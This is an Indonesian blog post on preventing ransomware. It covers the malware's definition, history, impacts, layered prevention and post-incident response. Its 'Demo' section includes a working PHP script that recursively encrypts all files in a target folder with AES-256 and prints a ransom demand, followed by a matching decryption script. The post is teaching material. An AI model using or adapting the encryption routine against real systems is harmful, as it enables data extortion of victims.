Mencegah Ransomware

Juli 25, 2024 Posting Komentar

1. Pengertian Ransomware

Ransomware adalah jenis perangkat lunak berbahaya (malware) yang dirancang untuk menginfeksi komputer atau jaringan komputer dengan tujuan mengunci atau mengenkripsi data korban. Setelah data terkunci atau terenkripsi, pelaku akan meminta tebusan (ransom) dari korban agar data tersebut dapat dikembalikan atau diakses kembali. Umumnya, tebusan ini harus dibayar menggunakan mata uang kripto seperti Bitcoin, yang sulit dilacak.

2. Sejarah Ransomware

Ransomware pertama kali muncul pada akhir tahun 1980-an. Berikut adalah beberapa tonggak sejarah penting dalam perkembangan ransomware:

1989: AIDS Trojan (PC Cyborg): Ransomware pertama yang diketahui, juga dikenal sebagai AIDS Trojan atau PC Cyborg, disebarkan melalui disket. Malware ini akan menyembunyikan file direktori dan mengenkripsi nama file pada drive C:, kemudian menuntut pembayaran sebesar $189 kepada PC Cyborg Corporation.
2005-2006: Ransomware modern: Jenis ransomware modern mulai muncul, menggunakan enkripsi yang lebih canggih dan metode distribusi yang lebih luas, seperti melalui email atau situs web yang terinfeksi.
2013: CryptoLocker: Salah satu ransomware paling terkenal yang menyebar melalui lampiran email berbahaya. CryptoLocker menggunakan enkripsi RSA dan menuntut pembayaran dalam Bitcoin.
2017: WannaCry: Ransomware ini menyebar secara global dan mempengaruhi ratusan ribu komputer dalam hitungan hari. WannaCry memanfaatkan kerentanan dalam sistem operasi Windows yang dikenal sebagai EternalBlue, yang dieksploitasi oleh kelompok hacker Shadow Brokers.
2020-an: Evolusi dan peningkatan serangan: Ransomware terus berkembang dengan teknik baru, termasuk model Ransomware-as-a-Service (RaaS), di mana penjahat siber menjual atau menyewakan ransomware mereka kepada pihak ketiga.

3. Dampak Ransomware

Dampak dari serangan ransomware dapat sangat merugikan, baik dari segi finansial maupun operasional. Berikut adalah beberapa dampak utama dari serangan ransomware:

Kerugian Finansial: Pembayaran tebusan seringkali sangat mahal, dan biaya pemulihan data yang terinfeksi juga dapat mencapai jutaan dolar.
Gangguan Operasional: Sistem yang terinfeksi mungkin tidak dapat digunakan hingga data dipulihkan, menyebabkan gangguan besar pada operasi bisnis atau layanan publik.
Kehilangan Data: Jika data tidak dapat dipulihkan, perusahaan atau individu mungkin kehilangan data penting secara permanen.
Kerusakan Reputasi: Serangan ransomware dapat merusak reputasi perusahaan atau organisasi, menurunkan kepercayaan pelanggan atau publik.
Implikasi Hukum: Ada kemungkinan adanya konsekuensi hukum jika data pribadi atau sensitif terungkap dalam serangan ransomware.

4. Pencegahan Ransomware

Mencegah serangan ransomware membutuhkan pendekatan berlapis yang melibatkan teknologi, pelatihan, dan kebijakan keamanan. Berikut adalah beberapa langkah pencegahan yang dapat diambil:

Backup Data Secara Rutin: Pastikan untuk melakukan backup data secara teratur dan menyimpan salinan backup di lokasi yang terpisah dari jaringan utama.
Update dan Patch Sistem: Selalu perbarui perangkat lunak dan sistem operasi dengan patch terbaru untuk mengurangi kerentanan yang dapat dieksploitasi.
Gunakan Antivirus dan Antimalware: Instal dan perbarui perangkat lunak antivirus dan antimalware untuk mendeteksi dan memblokir malware sebelum infeksi terjadi.
Pelatihan Keamanan: Edukasi karyawan atau pengguna tentang bahaya phishing dan praktik keamanan siber yang baik, termasuk cara mengenali email atau situs web yang mencurigakan.
Segmentasi Jaringan: Batasi akses antar bagian jaringan untuk mencegah penyebaran ransomware jika terjadi infeksi.
Aktifkan Firewall dan IPS/IDS: Gunakan firewall dan sistem deteksi/pencegahan intrusi untuk memonitor dan memblokir aktivitas mencurigakan.
Aktifkan Enkripsi Data: Enkripsi data penting untuk mengurangi dampak jika data dicuri atau dienkripsi oleh ransomware.

Demo:

Buat folder ransomware, di dalam folder tersebut buat lagi folder target_folder
Isikan target_folder beberapa file contoh yang akan di encrypt oleh ransomware
Buat file encrypt.php dan isikan kode berikut:

<?php
// Generate key
$key = base64_encode(openssl_random_pseudo_bytes(32));

// Simpan kunci ke file (untuk dekripsi nantinya)
file_put_contents('key.txt', $key);

// Fungsi untuk mengenkripsi file
function encryptFile($file, $key) {
    $data = file_get_contents($file);
    $method = 'aes-256-cbc';
    $iv = openssl_random_pseudo_bytes(openssl_cipher_iv_length($method));
    $encrypted = openssl_encrypt($data, $method, $key, 0, $iv);
    $encrypted .= '::' . base64_encode($iv);
    file_put_contents($file, $encrypted);
}

// Tentukan folder yang akan dienkripsi
$folder = './target_folder';

$files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($folder));
foreach ($files as $file) {
    if ($file->isFile()) {
        encryptFile($file->getRealPath(), $key);
    }
}
echo "Semua file telah dienkripsi. Bayar tebusan untuk mendapatkan kunci dekripsi.";
?>

Jalankan serangan ransomware di browser dengan mengetikkan http://localhost/ransomware/encrypt.php
Cek folder target_folder dan buka isi filenya
Folder yang semula bisa terbuka, menjadi terkunci ketika mendapatkan ransomware

Bentuk mitigasi yang bisa dilakukan

Buat file decrypt.php dengan kode berikut untuk mendekripsi file yang terenkripsi:

<?php
// Load the key from the file
$key = file_get_contents('key.txt');

// Fungsi untuk mendekripsi file
function decryptFile($file, $key) {
    $data = file_get_contents($file);
    list($encrypted_data, $iv) = explode('::', $data, 2);
    $method = 'aes-256-cbc';
    $decrypted = openssl_decrypt($encrypted_data, $method, $key, 0, base64_decode($iv));
    file_put_contents($file, $decrypted);
}

// Tentukan folder yang akan didekripsi
$folder = './target_folder';

$files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($folder));
foreach ($files as $file) {
    if ($file->isFile()) {
        decryptFile($file->getRealPath(), $key);
    }
}
echo "Semua file telah didekripsi.";
?>

Jalankan file tersebut dengan mengetikkan: http://localhost/ransomware/decrypt.php

Dan lihat kembali di folder target_folder

File yang semula terkunci, kini sudah bisa terbuka kembali.

Pencegahan Pasca Serangan Ransomware

Setelah mengalami serangan ransomware, ada beberapa langkah penting yang dapat diambil untuk meminimalkan kerusakan lebih lanjut dan mencegah serangan serupa di masa depan. Berikut adalah panduan pencegahan pasca serangan ransomware:

1. Isolasi dan Kontrol Kerusakan

Isolasi Sistem yang Terinfeksi: Segera isolasi komputer atau sistem yang terinfeksi dari jaringan utama untuk mencegah penyebaran ransomware ke perangkat lain.
Matikan Jaringan: Jika perlu, matikan jaringan secara keseluruhan untuk menghentikan penyebaran ransomware hingga situasi terkendali.

2. Identifikasi dan Hapus Ransomware

Identifikasi Jenis Ransomware: Gunakan alat dan layanan yang tersedia untuk mengidentifikasi jenis ransomware yang menyerang sistem Anda. Ini akan membantu menentukan langkah-langkah pemulihan yang tepat.
Hapus Ransomware: Gunakan perangkat lunak antivirus dan antimalware untuk membersihkan sistem dari ransomware. Pastikan semua salinan ransomware telah dihapus sebelum mencoba memulihkan data.

3. Pemulihan Data

Gunakan Backup: Jika Anda memiliki cadangan data, gunakan backup tersebut untuk memulihkan data yang terinfeksi. Pastikan backup tersebut tidak terinfeksi sebelum digunakan.
Alat Dekripsi: Cari alat dekripsi yang mungkin tersedia untuk jenis ransomware tertentu. Beberapa organisasi keamanan siber menyediakan alat dekripsi gratis untuk ransomware yang sudah dikenal.

4. Laporkan Insiden

Lapor ke Pihak Berwenang: Laporkan insiden ransomware kepada pihak berwenang, seperti lembaga penegak hukum atau badan keamanan siber nasional. Ini dapat membantu dalam investigasi dan penanggulangan kejahatan siber.
Lapor ke Regulator: Jika serangan ransomware melibatkan data pribadi atau sensitif, laporkan insiden tersebut kepada regulator yang relevan, seperti komisi perlindungan data.

5. Evaluasi dan Pembelajaran

Analisis Forensik: Lakukan analisis forensik untuk memahami bagaimana serangan terjadi, jalur infeksi, dan kerentanan yang dieksploitasi.
Evaluasi Proses Keamanan: Tinjau kembali kebijakan dan prosedur keamanan siber yang ada. Identifikasi kelemahan dan buat perbaikan yang diperlukan untuk mencegah serangan serupa di masa depan.

6. Tingkatkan Keamanan

Pembaruan dan Patch: Pastikan semua perangkat lunak, sistem operasi, dan aplikasi diperbarui dengan patch keamanan terbaru.
Pelatihan Karyawan: Tingkatkan program pelatihan keamanan siber untuk karyawan, termasuk cara mengenali dan merespons ancaman phishing dan malware.
Implementasi Keamanan Berlapis: Terapkan pendekatan keamanan berlapis yang mencakup firewall, sistem deteksi dan pencegahan intrusi (IDS/IPS), serta solusi keamanan endpoint.
Segregasi Jaringan: Segmentasi jaringan untuk membatasi akses antar bagian jaringan dan mencegah penyebaran malware.

7. Kebijakan dan Prosedur Baru

Rencana Respons Insiden: Kembangkan atau perbarui rencana respons insiden untuk memastikan tindakan cepat dan efektif jika terjadi serangan ransomware di masa depan.
Kebijakan Backup: Pastikan kebijakan backup yang kuat dengan jadwal backup rutin dan verifikasi integritas data backup.
Kebijakan Akses: Tinjau kembali kebijakan akses untuk memastikan hanya individu yang memiliki hak akses yang diperlukan untuk data dan sistem tertentu.

Ferdy Deva Pangestu